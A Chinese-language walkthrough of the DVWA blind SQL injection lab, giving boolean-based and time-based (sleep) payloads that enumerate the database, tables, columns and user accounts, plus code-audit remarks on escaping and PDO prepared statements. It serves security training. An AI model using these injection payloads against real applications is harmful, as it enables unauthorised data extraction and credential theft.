注入点在输入框中,当输入正确时回显如下图
输入错误时的回显
根据回显不同进行布尔盲注,接下来判断注入类型
这里是字符型注入点字符型注入点
判断库名长度,命令:1' and length(database())=4 #
判断库名,命令:1’ and ascii(substr(database(),x,1))=100 #让x的值递增可以遍历库名的每一个字母
得库名为dvwa,接下来爆表,首先判断表的个数,命令:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
有两个表,依次判断表名,首先判断第一个表的表名长度,命令:1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#
第一张表表名长度为9,判断表名:1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), x,1))=y#
得第一个字母为g,变换x和y得值得第一个表名为guestbook,接下来判断第二张表,判断的方法和前面一样,只需要变换limit后面的值即可,得第二张表为users。查看users中的内容,因为它里面可能存放用户的相关信息。判断users中的字段数,命令:1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#
users中有8个字段,判断第一个字段字段名长度,命令:1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=7#
第一个字段字段名长度为7,判断其名字,命令:1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),x,1))=y#
首字母为u,变换x和y的值可得其他值,最终得第一个字段名为:user_id,按照相同的方法,只需变换limit后面的值可得其他字段为:first_name ;last_name ;user ;password; lavatar; last_login; failed_login,接下来查看user字段和password字段中的数据内容。首先判断users字段中数据的个数,命令:1' and (select count(user) from users)=5#
有五行,也就是说users表是5行8列的。判断users字段的第一个数据内容,首先判断第一个数据的长度,命令:1' and length((select user from users limit 0,1))=5#
得第一个数据数据名长度为5,判断具体内容,命令:1' and ascii(substr((select user from users limit 0,1),x,1))=y#
第一个字母为a,变换x和y的值可得第一个用户名为admin,变换limit后面的值可得其他用户名。password字段的内容通过同样的方法也可以得到,这里不再say了(其实是我懒得做了。。)最终得到的数据和上一个sql注入模块应该是一样的。
代码审计
相关函数
对用户的输入没有做任何的过滤,只是不会回显报错,我们只需要用布尔盲注或者延时注入都可以搞得定。
数据的提交方式由get变为了post
用bp抓包进行注入
注入点还是在id上,这次用延时注入,接下来判断它的注入类型,用命令:id=1 and sleep(5) #
时有明显的延时因此为数字型注入点。接下来判断库名的长度,命令:id=1 and if(length(database())=4,sleep(5),1) #
。
此时有明显的延时可知库名的长度为4。接下来判断库名,命令:id=1 and if(ascii(substr(database(),x,1))=100,sleep(5),1) #
更改x的值可遍历所有库名,最终得库名为dvwa。接下来判断库中有几个表,命令:id=1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) #
。
有2个表,接下来判断第一张表表名长度,命令:id=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9,sleep(5),1) #
。
第一张表表名长度为9,接下来判断第一张表表名,命令:id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),x,1))=y,sleep(5),1) #。
第一张表表名首字母为g,变换x和y的值可得其他字母的值,最终得第一张表为guestbook。变换limit后面的0为1,用同样的方法可得第二张表为users。接下来判断users表的字段数,命令:id=1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8,sleep(5),1) #
。table_name=‘users’,users进行16进行编码。因为他使用了mysqli_real_escape_string()函数过滤了单引号,等下代码审计时可以看到。
可知users表中的字段数为8,接下来判断第一个字段的字段名长度,命令:id=1 and if(length((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1))=7,sleep(5),1) #
。
第一个字段的字段名长度为7,接下来判断其名字,命令:id=1 and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273 limit 0,1),x,1))=y,sleep(5),1) #
。
第一个字母为u,改变x和y的值可得第一个字段为user_id,接下来改变limit后面的值可得所有的字段名:user_id; first_name ;last_name; user; password ;lavatar; last_login; failed_login。只看user和password这两个字段中的数据,首先看user中的数据,判断它有几个数据,命令:id=1 and if((select count(user) from users)=5,sleep(5),1) #
。
共有五个数据,判断第一个数据名长度,命令:id=1 and if(length((select user from users limit 0,1))=5,sleep(5),1) #
。
第一个数据名长度为5,接下来判断其名字,命令:id=1 and if(ascii(substr((select user from users limit 0,1),x,1))=y,sleep(5),1) #
。
可知第一个字母为a,改变x和y的值得第一个数据为:admin。改变limit的值用同样的方法可得user中的所有数,password也是一样的方法。
代码审计
这里用mysqli_real_escape_string()函数对我们的输入做了过滤,但是这样并不能预防sql注入。
这一关它的注入点在弹出的另一个页面的输入框中。
判断注入点类型
由图可知是字符型注入点,接下来的注入方法和low级别完全相同,这里就不再say了。
代码审计
这里注入点是在另外一个页面中的,这样可以预防工具注入但却没有办法预防手工注入。
这里使用了PDO,它是php数据对象扩展,为访问数据库提供了一个轻量级的接口,PDO让应用程序只处理预定义的查询语句,将查询变量服务查询语句是由mysql完成的。PDO有一项参数,名为PDO::ATTR_EMULATE_PREPARES,当把他设置为False时,查询语句中的变量和SQL查询语句会分开发送到mysql,只有当ATTR_EMULATE_PREPARES为False时才可以预防sql注入。
首先可以使用mysqli_real_escape_string()对用户输入的特殊字符进行转义,其次在执行sql查询语句时不要使用mysql_query()函数,使用PDO来执行查询。